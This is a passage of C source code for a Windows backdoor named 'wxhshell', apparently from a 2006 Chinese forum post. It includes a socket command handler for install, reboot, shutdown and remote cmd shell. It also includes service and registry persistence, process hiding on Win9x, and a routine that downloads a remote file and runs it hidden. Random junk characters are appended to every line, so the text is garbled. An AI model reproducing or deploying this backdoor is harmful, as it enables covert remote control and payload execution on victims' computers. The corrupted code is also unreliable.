  else \-X Qo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B@P +b*%  
  } )f#raXa5+  
  else { ~RlsgtX"  
}.j<kmd  
    switch(cmd[0]) { FW](GWp`:  
  -4  ~(*  
  // 帮助 .Ux bwTup  
  case '?': { X rBe41  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Mf 7 Z5  
    break; g^ @9SU  
  } \UBTNY,  
  // 安装 CC?L~/gPN  
  case 'i': { m Mp(  
    if(Install()) O$<m(~[S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M1{ru~Z9  
    else PtfxF]%H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F+%6?2 J  
    break; 1N8:,bpsT  
    } 7x 6q:4Ep\  
  // 卸载 K)e;*D  
  case 'r': { x~!gGfP  
    if(Uninstall()) 2)_Zz~P^f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Wt$" f  
    else N*Is_V\R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <oFZFlY@  
    break; eSAB :L,K  
    } @-^jbmu^ P  
  // 显示 wxhshell 所在路径 y `)oD0)Fj  
  case 'p': { }f/xMp-Y  
    char svExeFile[MAX_PATH]; -0pAj}_2}  
    strcpy(svExeFile,"\n\r"); w;e42.\  
      strcat(svExeFile,ExeFile); =f{)!uW<4  
        send(wsh,svExeFile,strlen(svExeFile),0); `$kKTc:f  
    break; uA`EJ )d  
    } n@`D:;?{  
  // 重启 hv]}b'M$  
  case 'b': { S"}G/lBx.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zO@7V>2  
    if(Boot(REBOOT)) UKfC!YR2J8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bu%TTbnz_G  
    else { ZvQ~K(3  
    closesocket(wsh); ;+86q"&n  
    ExitThread(0); W zKaLyM  
    } am+'j5`Ys  
    break; } `X.^}oe  
    } Qp]-:b  
  // 关机 [,@gSb|D?  
  case 'd': { D%WgE&wtM  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (] Zyk, [  
    if(Boot(SHUTDOWN)) ;*~y4'{z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /o/0 9K  
    else { GS<aXh k  
    closesocket(wsh); kdr?I9kwW  
    ExitThread(0); |i/Iv  
    } @i" ^b  
    break; 834E ]2  
    } "s?!1v(v  
  // 获取shell ?zS t  
  case 's': { >TnV Lx<  
    CmdShell(wsh); TgDx3U[  
    closesocket(wsh); -5&|"YYjr{  
    ExitThread(0); /4Df 'd  
    break; )bl'' yO  
  } W-72&\7  
  // 退出 4ONou&T  
  case 'x': { N9|v%-_?)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WNE=|z#|  
    CloseIt(wsh); W5&;PkhQ6  
    break; CO)BF%?B  
    } .lcI"%>  
  // 离开 CyWaXp65  
  case 'q': { ljS~>&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /q3]AVV  
    closesocket(wsh); NHL -ll-R  
    WSACleanup(); QcXqMx  
    exit(1); c~bTK" u  
    break; & rsNB:!  
        } G"xa"hGF  
  } O<H5W|cM  
  } Em(&cra  
s}O9[_v  
  // 提示信息 DbL=2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $@wTc  
} A.D@21py  
  } _Di";fe?  
LKEf#mp  
  return; U}=o3u  
} ~boTh  
$_u9Y!  
// shell模块句柄 9"#,X36  
int CmdShell(SOCKET sock) (|*CVI;  
{ ,[Bv\4Ah  
STARTUPINFO si; @N?u{|R:d  
ZeroMemory(&si,sizeof(si)); NDmTxW#g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \dq}nOsX*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &' 0|U{|  
PROCESS_INFORMATION ProcessInfo; NJe^5>4`  
char cmdline[]="cmd"; #y?iUv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3=)!9;uY  
  return 0; pKxq\U  
} pow.@  
U)3*7D  
// 自身启动模式 `L. kyL  
int StartFromService(void) JIA'3"C  
{ &* Aems{-  
typedef struct )6k([u%;B  
{ -q8R'?z[  
  DWORD ExitStatus; $z"1&y)  
  DWORD PebBaseAddress; t& *K  
  DWORD AffinityMask; Pr!H>dH8o  
  DWORD BasePriority; H/v|H}d;  
  ULONG UniqueProcessId; BbV@ziL  
  ULONG InheritedFromUniqueProcessId; Y >83G`*}b  
}   PROCESS_BASIC_INFORMATION; q0>@!1Wb  
.}O _5b(  
PROCNTQSIP NtQueryInformationProcess; 1dl@2CVS  
?_VoO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j&c YRKpz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >[D(<b(U&  
T=kR!Gx  
  HANDLE             hProcess; /jtU<uX  
  PROCESS_BASIC_INFORMATION pbi; t.ci!#/d  
S=N3qBH6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); bS!4vc1`2  
  if(NULL == hInst ) return 0; }C<<l5/ z  
k|Syw ATr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Kz>Bw;R(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0?{Y6:d+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); He}uE0^  
l, [cR?v  
  if (!NtQueryInformationProcess) return 0; &Se!AcvKF  
Si:$zGL$(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p /x ]  
  if(!hProcess) return 0; CHojF+e  
+4r.G(n),  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {wNNp't7  
t 5{Y'  
  CloseHandle(hProcess); NY,ZTl_  
&>T7]])  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~@Wg3'&  
if(hProcess==NULL) return 0; L6ifT`;T  
ALOS>Bi&  
HMODULE hMod; ^s;xLGl]  
char procName[255]; 1>pFUf|cV  
unsigned long cbNeeded; + bU*"5"  
]w+n39da  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dHUcu@,  
:=J^"c  
  CloseHandle(hProcess); Uh tk`2O  
eM1=r:jgE  
if(strstr(procName,"services")) return 1; // 以服务启动 "7. lsL5  
RY4b <i3  
  return 0; // 注册表启动 nz}} m^-j  
} 3%NbT  
J,&B   
// 主模块 L4x08 e  
int StartWxhshell(LPSTR lpCmdLine) ui[E,W~  
{ M< 1rQW'  
  SOCKET wsl; n-5@<y^  
BOOL val=TRUE; yW!+:y_N_  
  int port=0; Z6F^p8O-  
  struct sockaddr_in door; 1yg5d9  
(0c L! N;;  
  if(wscfg.ws_autoins) Install(); j0eGg::  
nbhzLUK  
port=atoi(lpCmdLine); @TWtM#  
rF*L@HI  
if(port<=0) port=wscfg.ws_port; L( B(x>w  
M*xt9'Yd  
  WSADATA data; r'GD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Naqz":%.  
j0]|$p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @[vwqPOL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); MUeS8:q-N  
  door.sin_family = AF_INET; 1I1Z),  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4NN81~v 4  
  door.sin_port = htons(port); sA}Xha  
m K);NvJ!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WL6p+sN'  
closesocket(wsl); QSNLo_z  
return 1; (K}Md~  
} } XJZw|n  
FX6 *`  
  if(listen(wsl,2) == INVALID_SOCKET) { DOzJ-uww1  
closesocket(wsl); 9W~3E^x  
return 1; F9Bj$`#)  
} J6s55 v  
  Wxhshell(wsl); U_/<tWl\[3  
  WSACleanup(); ;44?`[oP  
qDPpGI-Y2e  
return 0; oV 7A"8L^a  
` s}v6  
} pR VL}^Rk  
yzml4/X  
// 以NT服务方式启动 %~ROV>&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DW,fh8w  
{ N;.cZp2  
DWORD   status = 0; j1LL[+G-"_  
  DWORD   specificError = 0xfffffff; R\oas"  
F%v?,`_&I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @$ea-fK??  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?D^l&`S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,uFdhA(i@'  
  serviceStatus.dwWin32ExitCode     = 0; 6}vPwI  
  serviceStatus.dwServiceSpecificExitCode = 0; SAa hkX  
  serviceStatus.dwCheckPoint       = 0; |0wUOs*5  
  serviceStatus.dwWaitHint       = 0; [P*w$Hn  
- /s2'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -ty_<m]  
  if (hServiceStatusHandle==0) return; Ux2p qPb  
!7:~"kk  
status = GetLastError(); aXSTA ,%  
  if (status!=NO_ERROR) ZA;wv+hF=  
{ vk:m >?(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; nsq7,%5  
    serviceStatus.dwCheckPoint       = 0; W .c:Pulg  
    serviceStatus.dwWaitHint       = 0; p^LUyLG`  
    serviceStatus.dwWin32ExitCode     = status; sf|[oD  
    serviceStatus.dwServiceSpecificExitCode = specificError; } r#by%P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U[S#axak  
    return; FuYV}C  
  } olC@nQ1c*  
]0HlPP:2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UeVRd  
  serviceStatus.dwCheckPoint       = 0; S> f8j?n  
  serviceStatus.dwWaitHint       = 0; A@@Z?t.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); T/V 5pYl  
} T/^ /U6JB  
(+Yerc.NQt  
// 处理NT服务事件,比如:启动、停止 D/CSR=b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) crJyk#_  
{ 3 *o l  
switch(fdwControl) 1or4s{bmo  
{ (~r"N?`  
case SERVICE_CONTROL_STOP: <B;l).[6  
  serviceStatus.dwWin32ExitCode = 0; 3N) bJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^n|u$gIF8  
  serviceStatus.dwCheckPoint   = 0; #^- U|~,  
  serviceStatus.dwWaitHint     = 0; 29?{QJb  
  { pI>i1f=W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <Gy)|qpK[  
  } +oY[uF  
  return; +h6c Aqm]  
case SERVICE_CONTROL_PAUSE: 9HlRf6S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F6gboo)SD  
  break; s|U=_,.  
case SERVICE_CONTROL_CONTINUE: -E4e8'P;5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @<ba+z>"~4  
  break; kzhncku  
case SERVICE_CONTROL_INTERROGATE: 2 $^n@<uZ@  
  break; a_YE[6  
}; C?e1 a9r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DiyviH  
} n>tYeN)F<  
"-Lbz)k  
// 标准应用程序主函数 ^+zF;Q'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NhyVX%qt:  
{ 2*6b{}yJH  
zg!;g`Z@S  
// 获取操作系统版本 LYPjdp2>"o  
OsIsNt=GetOsVer(); #Al.Itj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /s3AZ j9  
EKsL0;FV  
  // 从命令行安装 [XWY-q#Gg  
  if(strpbrk(lpCmdLine,"iI")) Install(); Lrgv:n  
~^QL"p:5|  
  // 下载执行文件 HTK79 +  
if(wscfg.ws_downexe) { U+t|wK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q;a`*gX^  
  WinExec(wscfg.ws_filenam,SW_HIDE); P SDzs\s  
} ;7"}I  
JPQ[JD^]  
if(!OsIsNt) { u+eA>{  
// 如果时win9x,隐藏进程并且设置为注册表启动 P8DY*B k  
HideProc(); A0sydUc  
StartWxhshell(lpCmdLine); P g.PD,&U  
} `#&pB0.y  
else ;aKdRhDo  
  if(StartFromService()) _D:#M  
  // 以服务方式启动 *R.Q!L v+  
  StartServiceCtrlDispatcher(DispatchTable); [H5TtsQ[  
else ?y82S*sb#  
  // 普通方式启动 Jw'%[(q Q  
  StartWxhshell(lpCmdLine); beFVjVVHq  
FN5*pVD;<  
return 0; z5PFppSQ  
}
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只看该作者 1 发表于: 2006-10-10
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